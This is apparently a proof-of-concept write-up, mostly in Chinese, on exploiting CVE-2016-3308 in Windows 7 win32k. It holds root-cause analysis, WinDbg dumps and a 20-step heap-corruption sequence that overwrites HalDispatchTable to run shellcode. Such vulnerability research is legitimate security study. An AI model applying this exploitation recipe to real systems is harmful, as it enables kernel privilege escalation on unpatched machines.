4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2016-3308.md MD
# Use CVE-2016-3308 corrupt win32k desktop heap

author : 55-AA

## 分析

漏洞存在于 win32k!xxxInsertMenuItem 函数中重新分配内存的时候。

    BOOL xxxInsertMenuItem(
            PMENU pMenu, 
            UINT wIndex, 
            BOOL fByPosition, 
            LPMENUITEMINFOW lpmii, 
            PUNICODE_STRING pstrItem
        );
        
该函数负责增加菜单项。新增加的菜单项或者根据位置插入或者根据菜单项识别符插入。[InsertMenuItem](https://msdn.microsoft.com/en-us/library/windows/desktop/ms647988(v=vs.85).aspx) 的文档中详细描述这两者的区别。此外,当一个新的菜单被创建的时候,并没有分配存储菜单项的空间。直到第一个菜单项被插入的时候才分配。在 Windows 7 x64 上,一次分配 8 个项,这样,插入项小于 8 的时候不需要再分配。

当插入第 9 、17 个菜单项时,将触发一次再分配以便容纳它们。当内存分配成功后, win32k!xxxInsertMenuItem 调用 win32k!MNLookUpItem 以得到该菜单项在新内存中的位置。问题出在从第二次调用 win32k!MNLookUpItem 返回的菜单项在原有菜单中不存在的时候。win32k!MNLookUpItem 递归查找菜单结构,寻找与与该菜单项关联的子菜单项。为了使第二次调用返回一个不同的菜单项,则需要改变第一个调用参数。函数的原型如下:

    PITEM MNLookUpItem(PMENU pMenu, UINT wCmd, BOOL fByPosition, PMENU *ppMenuItemIsOn);

前 3 个参数是必需的。第 4    个参数是可选的,其指向的地址用于存储与之相关的菜单对象。正常情况下,是 pMenu 的值写到 pMenuOut,根据补丁修改的内容看,这就是问题的所在。

为了触发所述的代码流程,攻击者需要创建一个包含子菜单项的菜单项,该菜单项有一个 wID 为 1 的子菜单项。该菜单项是顶层菜单的一个子项,其 wID 值为任意的某值,此外顶层菜单还有另外 7 个菜单项,并拥有各自不同的 wID 值,以便填满分配的空间。然后攻击者调用 NtUserThunkedMenuItemInfo 增加第 9 个菜单项,该菜单项的 wID 和第一个菜单项相同。win32k!xxxInsertMenuItem 第一次调用 win32k!MNLookUpItem 标识了这个菜单项,并返回了其所属的顶层菜单。重新分配之前,对该菜单项的 pItem->hbmpItem 进行检查,如果这个字段被设置为 HBMMENU_SYSTEM,那么其 wID 就被设置为 1。这个过程可被利用,导致第二次调用 win32k!MNLookUpItem 来标识子菜单的菜单项(其 wID 被明确设置为 1),从而导致返回值是子菜单而不是原先的顶层菜单。

在利用时,第二次调用 win32k!MNLookUpItem 返回的菜单项和第一次返回的不同。这就在随后的 memmove 调用时导致一个越界读取,并可能覆盖大块内存。这个调用大致如下:

    memmove(&pItem[1], pItem, &pMenu->rgItems[0] + (sizeof(ITEM) * pMenu->cItems - (QWORD)pItem);
    RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) * sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));

计算地址时,假定了返回的 PITEN 就是由 pMenu->rgItems 索引的数组项。

复现这个漏洞的利用需要控制传递给 memmove 的内存,避免 pItem 之后的内存导致非法访问。假定 memmove 的内存是被限制的,并且 pItem 是 pMenu->rgItems 所指向的数组中的最后一项,攻击者利用 memmove 操作修改一定长度的内存,这个长度等于 win32k!tagITEM 的长度(Windows 7 sp1 x64 是 0x90 字节)。 攻击者可利用 位于共享区域的 HANDLEENTRY 结构来识别 win32k!tagMENU 在内核空间的位置,然而要准确预测 memmove 调用时的参数,攻击者必需知道该结构中 rgItems 的值。

关键函数分析:

    BOOL WINAPI NtUserThunkedMenuItemInfo(
    	HMENU hMenu, 
    	UINT nPosition, 
    	BOOL fByPosition, 
    	BOOL fInsert, 
    	LPMENUITEMINFOW lpmii, 
    	PUNICODE_STRING pstrItem);
  
   	
该函数主要是根据 fInsert 分别调用 xxxInsertMenuItem 或 xxxSetMenuItemInfo。这里我们只关心 xxxInsertMenuItem,所以 fInsert 总是为 TRUE。可以认为 NtUserThunkedMenuItemInfo 就是 xxxInsertMenuItem,只不过 xxxInsertMenuItem 不能在用户态调用。

fByPosition 表示 nPosition 参数是索引号还是 ID  值。

win32k设置断点: 

    ba e1 win32k!xxxInsertMenuItem,由于 session 的原因不能用 bp。

    ba e1 win32k!xxxInsertMenuItem+0xf3    
    836a94ad e843e70200      call    win32k!DesktopAlloc (836d7bf5)

    
    ba e1 win32k!xxxInsertMenuItem+0x129
    836a94e3 e80de70200      call    win32k!DesktopAlloc (836d7bf5)


    ba e1 win32k!xxxInsertMenuItem+0x1f5
    972495ae 48              dec     eax
    972495af 6bc06c          imul    eax,eax,6Ch
    972495b2 2bc3            sub     eax,ebx
    972495b4 034634          add     eax,dword ptr [esi+34h]
    972495b7 50              push    eax
    972495b8 8d436c          lea     eax,[ebx+6Ch]
    972495bb 53              push    ebx
    972495bc 50              push    eax
    972495bd e85ea40100      call    win32k!memmove (97263a20)




menu:

    (tagMENU)fea0f6e8->(rgItems)0xfea0f760->(relocate rgItems)fea10fe8

submenu:

    (tagMENU)fea0e7f0->(rgItems)0xfea0fac8   


triger:

    .text:BF8A95BD                 call    _memmove
    RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) * sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
    此时 pItem 和 pMenu->rgItems 不是同一内存块。
    memmove(fea0fb34, fea0fac8, 00001880)
    memmove(fea0fac8 + 6c, fea0fac8, (9 - 1) * 0x6c - (0xfea0fac8 - 0xfea10fe8))


    .text:BF8A965B                 call    _memmove
    RtlMoveMemory(pItem, pItem + 1, pMenu->cItems * (UINT)sizeof(ITEM) + (UINT)((char *)&pMenu->rgItems[0] - (char *)(pItem + 1)));
    memmove(fea0fac8, fea0fb34, 00001880)
    memmove(fea0fac8, fea0fac8 + 6c, 9 * 0x6c + (0xfea10fe8-(fea0fac8 + 6c)))



# 4 漏洞利用

本章,我们评估用户模式回调导致的漏洞的可利用性。因为我们最关心两个漏洞原语就是 UAF 和 NULL 指针引用,所以我们集中在攻击者如何利用这些 BUG 攻击 win32k 漏洞。为了提出合理的缓解措施和解决手段,评估他们的可利用性是至关重要的。

## 4.1 内核堆(Kernel Heap)

正如 2.2 节提到的那样,用户对象及其相关的数据结构或者是存储在会话池(seesion pool)中,或者是存储在共享堆(shared heap)中,或者是存储在桌面堆(desktop heap)中。存储在桌面堆和共享堆对象和数据结构由内核堆分配器(kernel heap allocator)管理。内核堆分配器可认为是用户堆分配器(user-mode heap allocator)的简化版本。并使用内核导出的 RtlAllocateHeap 和 RtlFreeHeap 管理堆块。

尽管用户堆和内核堆是如此的相似,但仍有一些关键点是不同的。不像用户堆,win32k 使用的内核堆没有实现前端分配器。这一点可查看 \_HEAP.HEAP\_LIST\_LOOKUP 的ExtendedLookup 值.

    kd> dt nt!_HEAP fea00000
        ...
        +0x04c EncodeFlagMask : 0
        +0x050 Encoding : _HEAP_ENTRY
        +0x058 PointerKey : 0
        ...
        +0x0b8 BlocksIndex : 0xfea00138 Void
        ...
        +0x0c4 FreeLists : _LIST_ENTRY [ 0xfea07f10 - 0xfea0e4d0 ]
        ...
        +0x0d0 CommitRoutine : 0x93a4692d win32k!UserCommitDesktopMemory
        +0x0d4 FrontEndHeap : (null)
        +0x0d8 FrontHeapLockCount : 0
        +0x0da FrontEndHeapType : 0 ''
    kd> dt nt!_HEAP_LIST_LOOKUP fea00138
        +0x000 ExtendedLookup : (null)
        ...
    
    列表 18: 桌面堆


当 ExtendedLookup 为空时,堆分配器不使用旁视列表和低碎片堆[13]。此外,在列表 18 中,我们看到用于堆混淆的 PointerKey 和堆编码的 EncodingFlagMask 字段被设置为 NULL。这就说明堆头没有被编码,CommitRoutine 指针没有被混淆。

当处理象 UAF 的内核堆溢出时,知道内核堆的管理机制是至关重要的。有许多优秀的文章详细描述了用户堆的实现机制[13][6][9],我们在研究内核堆时可以参考这些文章。鉴于本文的目的,知道内核堆是一块连续的可扩展或压缩内存就足够了。由于没有前端管理器,所有的空闲块都在空闲列表中被索引。一个通用原则,堆管理器总是分配最近的空闲块(通过列表可知道)以便更好的利用 CPU 缓存。

每一个分配的堆块都包含一个堆头,其结构为:
    
    in "w2ksrc/private/ntos/rtl/heap.c"
    根据 win7_x86_sp1 调试符号整理:
 
    typedef struct _HEAP_ENTRY {
        USHORT Size;            //Size << HEAP_GRANULARITY_SHIFT 为该块的字节数(包含头部),HEAP_GRANULARITY_SHIFT 在32位系统下是3,64位系统下是4

        UCHAR Flags;
        // 含义如下(w2ksrc/private/ntos/rtl/heap.c):
        //  0x01 - HEAP_ENTRY_BUSY(当前块在使用中)
        //  0x02 - HEAP_ENTRY_EXTRA_PRESENT
        //  0x04 - HEAP_ENTRY_FILL_PATTERN
        //  0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
        //  0x10 - HEAP_ENTRY_LAST_ENTRY
        //  0x20 - HEAP_ENTRY_SETTABLE_FLAG1
        //  0x40 - HEAP_ENTRY_SETTABLE_FLAG2
        //  0x80 - HEAP_ENTRY_SETTABLE_FLAG3
        //
        UCHAR SegmentIndex;
        USHORT PreviousSize;    //Size << HEAP_GRANULARITY_SHIFT 为该块的字节数(包含头部)
        UCHAR SegmentOffset;
        UCHAR UnusedBytes;
        // from (w2ksrc/private/ntos/rtl/heap.c)
        // This field contains the number of unused bytes at the end of this
        // block that were not actually allocated.  Used to compute exact
        // size requested prior to rounding requested size to allocation
        // granularity.  Also used for tail checking purposes.
    } HEAP_ENTRY, *PHEAP_ENTRY;

以下是一个具体的实例:

    0: kd>  db fea0fee0+360
    fea10240  04 00 01 00 6d 00 00 08-6d 00 65 00 6e 00 75 00  ....m...m.e.n.u.
    fea10250  20 00 69 00 74 00 65 00-6d 00 20 00 32 00 00 00   .i.t.e.m. .2...
    fea10260  04 00 01 00 04 00 00 08-6d 00 65 00 6e 00 75 00  ........m.e.n.u.
    fea10270  20 00 69 00 74 00 65 00-6d 00 20 00 33 00 00 00   .i.t.e.m. .3...
    fea10280  04 00 01 00 04 00 00 08-6d 00 65 00 6e 00 75 00  ........m.e.n.u.
    fea10290  20 00 69 00 74 00 65 00-6d 00 20 00 34 00 00 00   .i.t.e.m. .4...
    fea102a0  04 00 01 00 04 00 00 08-6d 00 65 00 6e 00 75 00  ........m.e.n.u.
    fea102b0  20 00 69 00 74 00 65 00-6d 00 20 00 35 00 00 00   .i.t.e.m. .5...
    0: kd> d
    fea102c0  04 00 01 00 04 00 00 08-6d 00 65 00 6e 00 75 00  ........m.e.n.u.
    fea102d0  20 00 69 00 74 00 65 00-6d 00 20 00 36 00 00 00   .i.t.e.m. .6...
    fea102e0  04 00 01 00 04 00 00 08-6d 00 65 00 6e 00 75 00  ........m.e.n.u.
    fea102f0  20 00 69 00 74 00 65 00-6d 00 20 00 37 00 00 00   .i.t.e.m. .7...
    fea10300  d9 00 01 00 04 00 00 08-00 00 00 00 00 00 00 00  ................
    fea10310  01 10 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea10320  30 8b a0 fe 0b 00 00 00-00 00 00 00 00 00 00 00  0...............
    fea10330  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    0: kd>  db fea0fee0-8
    fea0fed8  6d 00 00 00 05 00 00 00-d0 09 a1 fe a8 d5 a0 fe  m...............
    fea0fee8  01 10 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea0fef8  30 8b a0 fe 0b 00 00 00-00 00 00 00 00 00 00 00  0...............
    fea0ff08  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea0ff18  ff ff ff 7f 00 00 00 00-00 00 00 00 ff ff ff ff  ................
    fea0ff28  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea0ff38  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea0ff48  00 00 00 00 00 00 00 00-00 00 00 00 02 10 00 00  ................
    0: kd>  db fea0fee0-8-5*8
    fea0feb0  05 00 01 00 19 00 00 08-03 00 00 00 03 00 00 00  ................
    fea0fec0  ff ff ff ff 18 a9 00 00-88 13 00 00 3e c0 00 00  ............>...
    fea0fed0  50 37 38 01 4a c0 02 00-6d 00 00 00 05 00 00 00  P78.J...m.......
    fea0fee0  d0 09 a1 fe a8 d5 a0 fe-01 10 00 00 00 00 00 00  ................
    fea0fef0  00 00 00 00 00 00 00 00-30 8b a0 fe 0b 00 00 00  ........0.......
    fea0ff00  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea0ff10  00 00 00 00 00 00 00 00-ff ff ff 7f 00 00 00 00  ................
    fea0ff20  00 00 00 00 ff ff ff ff-00 00 00 00 00 00 00 00  ................
    0: kd>  db fea0fee0-8-5*8-19*8
    fea0fde8  19 00 01 00 05 00 00 0c-48 01 03 00 03 00 00 00  ........H.......
    fea0fdf8  38 39 b6 fd 38 0a 45 88-f0 fd a0 fe 00 00 02 00  89..8.E.........
    fea0fe08  00 07 00 80 00 00 00 00-00 00 00 8c 00 00 19 76  ...............v
    fea0fe18  00 00 00 00 48 da a0 fe-00 00 00 00 48 07 a0 fe  ....H.......H...
    fea0fe28  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea0fe38  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea0fe48  00 00 00 00 00 00 00 00-86 92 1e 76 a8 96 a0 fe  ...........v....
    fea0fe58  00 00 00 00 88 65 a0 fe-00 00 00 00 00 00 00 00  .....e..........


# Corruption Step

1. createWindow with WndText size 1, loop FILL_HOLE_COUNT times to fill the old hole.
2. create WND-0~WND-5.
3. create menu with 8 ITEMs.
4. create sub-menu with 8 ITEMs.
5. expand sub-menu to 9 ITEMs.
6. set WND-5 text 0x360 to fill the hole of sub-menu old ITEMs.
7. set WND-1 text 0x70, make corrupt heap header.
8. set WND-2 text 0x70.
9. set WND-0 text 0x6c0 for take a sit.
10. create the WND-primitive and a auto-created tagPROPLIST.
11. create the WND-corrupt and a auto-created tagPROPLIST.
12. set WND-3 text 0x18 for a fake heap header.
13. save the heap data for restore.
14. reset WND-0 text 0x700 to release a 0x6c0 hole.
15. expand menu to 9 ITEMs to triger the bug.
16. deatroy WND-2 to release corrupt block.
17. set WND-corrupt text 0x8e0 to realloce the corruptd block.
18. execute the write primitive by set WND-primitive text.
19. triger shellcode with NtQueryIntervalProfile.
20. restore the saved heap data.

### step07 step08

    1: kd> db fea2d7a8-8 l78*2
    fea2d7a0  0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00  ................
    fea2d7b0  e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d810  00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08  ................
    fea2d820  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d880  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

### step15

    0: kd> db fea2d7a8-8 l78*2
    fea2d7a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d7b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
    fea2d810  d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08  ................
    fea2d820  f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00  .6..............
    fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d880  00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00  ................

CorruptWndText

    0: kd> db fea2d820-8
    fea2d818  1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe  .........6......
    fea2d828  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d838  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d848  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d858  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d868  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d878  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
    fea2d888  0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................

Fake block header

    0: kd> db fea2d820-8 + 11d*8
    fea2e100  02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00  ................
    fea2e110  0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1  ........8&......
    fea2e120  00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00  [email protected].........
    fea2e130  00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe  ................
    fea2e140  00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95  .........@......
    fea2e150  00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00  ................
    fea2e160  e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe  .>..............
    fea2e170  00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09  ................

CorruptWndText front

    0: kd> db fea2d820-8 - e8*8
    fea2d0d8  d9 00 01 00 6d 00 00 08-00 08 00 00 03 00 00 00  ....m...........
    fea2d0e8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d0f8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d108  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d118  ff ff ff 7f 00 00 00 00-00 00 00 00 ff ff ff ff  ................
    fea2d128  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d138  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    fea2d148  00 00 00 00 00 08 00 00-03 00 00 00 01 00 00 00  ................

PrimitiveWnd tagWND.strName

    0: kd> db fea2d820 + 78 + 6c8 + 84
    fea2dfe4  02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00  .........S......
    fea2dff4  60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  `...............
    fea2e004  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
    fea2e014  17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01  ..............~.
    fea2e024  18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00  ................
    fea2e034  03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe  [email protected]...
    fea2e044  18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04  ...`............
    fea2e054  00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe  ........`...(...

CorruptWnd tagWND.strName

    0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
    fea2e0b4  de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00  ........ .......
    fea2e0c4  30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  0...............
    fea2e0d4  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
    fea2e0e4  17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01  ..............~.
    fea2e0f4  18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00  ................
    fea2e104  1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00  ................
    fea2e114  03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00  ....8&..........
    fea2e124  40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00  @.G.............


#ShellCode

    0: kd> dds nt!HalDispatchTable
    83f753f8  00000004
    83f753fc  83e3b8a2 hal!HaliQuerySystemInformation
    83f75400  83e3c1b4 hal!HalpSetSystemInformation
    83f75404  840fe71f nt!xHalQueryBusSlots
    83f75408  00000000
    83f7540c  83e4c5ba nt!HalExamineMBR
    83f75410  83fc04e7 nt!IoReadPartitionTable
    83f75414  840fe01f nt!IoSetPartitionInformation
    83f75418  840fe2ca nt!IoWritePartitionTable
    83f7541c  83f22d37 nt!xHalHandlerForBus

after corruption

    0: kd> dds nt!HalDispatchTable
    83f753f8  00000004
    83f753fc  013711c0
    83f75400  83e3c1b4 hal!HalpSetSystemInformation
    83f75404  840fe71f nt!xHalQueryBusSlots
    83f75408  00000000

    0: kd> u 013711c0
    013711c0 a188fa3701      mov     eax,dword ptr ds:[0137FA88h]
    013711c5 8b0d80fa3701    mov     ecx,dword ptr ds:[137FA80h]
    013711cb 894804          mov     dword ptr [eax+4],ecx
    013711ce 33c0            xor     eax,eax
    013711d0 c21000          ret     10h


## 参考资料

[https://warroom.securestate.com/an-analysis-of-ms16-098/](https://warroom.securestate.com/an-analysis-of-ms16-098/)
[https://github.com/zeroSteiner/mayhem/blob/master/examples/ms16_098_bsod.py](https://github.com/zeroSteiner/mayhem/blob/master/examples/ms16_098_bsod.py)